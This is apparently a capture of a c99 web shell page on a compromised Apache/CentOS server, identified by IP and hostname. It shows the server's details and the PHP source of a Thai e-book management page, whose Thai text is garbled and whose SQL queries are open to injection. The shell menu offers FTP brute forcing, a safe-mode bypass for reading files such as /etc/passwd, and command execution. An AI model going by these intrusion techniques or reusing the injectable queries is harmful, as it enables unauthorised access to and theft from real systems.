110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/directorBCNU/Ebook/ drwxr-xr-x Free 52.6 GB of 127.8 GB (41.16%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout


<?php



    include("../../include/FunctionDB.php");

    include("../../include/Function.php");

    

    ConnectDB();

  

    $sql = " Select *  From bookmant_tb  Where code='$code' ";

    $result = mysql_query($sql) or die(" Error").mysql_error();

    $rs = mysql_fetch_array($result)



?>



<html>

<head>

<title>ўйНБЩЕЛ№С§КЧН</title>

<link href="../../css/default.css" rel="stylesheet" type="text/css">

<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

</head>

<table width="560" border="0" align="center" cellpadding="0" cellspacing="0">

  <tr>

    <td><table width="100%" border="0" cellspacing="0" cellpadding="0">

      <tr>

        <td height="10"></td>

      </tr>

    </table><fieldset>

        <table width="100%" border="0" cellpadding="2" cellspacing="1">

          <tr>

            <td height="5" colspan="3"></td>

          </tr>

          <tr>

            <td height="25" colspan="3" align="center" bgcolor="#F8F8F8" class="PATRON11">бКґ§ГТВЕРаНХВґ</td>

          </tr>

          <tr>

            <td width="31%" class="PADDING-LEFT-10"><font face="Tahoma">Є№ФґўН§Л№С§КЧН</font></td>

            <td width="2%">&nbsp;</td>

            <td width="67%"><strong><font color="#000000" size="2" face="Tahoma"><?php echo"$rs[Book_code] "; ?></font></strong></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma">аЕў··РаєХВ№ГСє</font></td>

            <td>&nbsp;</td>

            <td><strong><font color="#000000" size="2" face="Tahoma">

            <?php

                echo"$rs[No]";

          ?></font></strong></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma">ЗС№·Хи</font></td>

            <td>&nbsp;</td>

            <td><strong><font color="#003366" size="2" face="Tahoma">

              <?php 

                $sday = $rs['Date_buy'];

                $yearthai = explode("-",$sday);

                $day = intval($yearthai[2]);

                $month =  intval($yearthai[1]);

                $year = intval($yearthai[0]);     

                    echo"$day"."/"."$month"."/"."$year";

            ?>

            </font></strong></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma">аЕў·ХиЛ№С§КЧН</font></td>

            <td>&nbsp;</td>

            <td><strong><font color="#000000" size="2" face="Tahoma"><?php echo"$rs[No_in]"; ?></font></strong></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma">аГЧиН§</font></td>

            <td>&nbsp;</td>

            <td><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Status]) ?></font></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma"><font face="Tahoma">ЄЧиНјЩйГСє - Ки§Л№С§КЧН</font></font></td>

            <td>&nbsp;</td>

            <td><font color="#000000" size="2" face="Tahoma">

              <?php

                $Teacher_code =  $rs['Teacher_code'];

                $sql = " SELECT *  FROM personal_tb  WHERE Teacher_code='$Teacher_code' ";

                $result1 = mysql_query($sql) or die("Error".mysql_error());

                $rss = mysql_fetch_array($result1);

                    echo $rss['Teacher_name'] . $rss['Teacher_lastname'];

             ?>

            </font></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma"><font face="Tahoma">АТ¤ / ЅиТВ</font></font></td>

            <td>&nbsp;</td>

            <td><font size="2" face="Tahoma">

              <?php

                $Faculty_code =  $rs["Faculty_code"];

                $sql = "Select * From faculty_tb Where Faculty_code='$Faculty_code'";

                $result1 = mysql_query($sql) or die("Error".mysql_error());

                $rss = mysql_fetch_array($result1);

                    echo "$rss[Faculty_name] ";

            ?>

            </font></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma">µйН§ЎТГбЁй§єШ¤ЕТЎГ·ШЎж ¤№</font></td>

            <td>&nbsp;</td>

            <td><font color="#000000" size="2" face="Tahoma"><? echo $rs[Statistic] ?></font></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma">ЁТЎЛ№иЗВ§Т№</font></td>

            <td>&nbsp;</td>

            <td><font color="#000000" size="2" face="Tahoma"><? echo $rs[Store_1] ?></font></td>

          </tr>

          <tr>

            <td class="PADDING-LEFT-10"><font face="Tahoma">ЛБТВаЛµШ</font></td>

            <td>&nbsp;</td>

            <td><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Description]) ?></font></td>

          </tr>

          <tr>

            <td colspan="3">&nbsp;</td>

          </tr>

        </table>

      </fieldset>

      <div align="center">

        <table width="100%" border="0" cellspacing="0" cellpadding="0">

          <tr>

            <td height="10"></td>

          </tr>

        </table>

        <input type="button" name="Submit" value=" »ФґЛ№йТµиТ§" onClick="javascript:parent.close();" onMouseOver="this.style.cursor='hand'" /></div>

    </td>

  </tr>

</table>

</body>

</html>

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Command execute ::
Enter:	Select: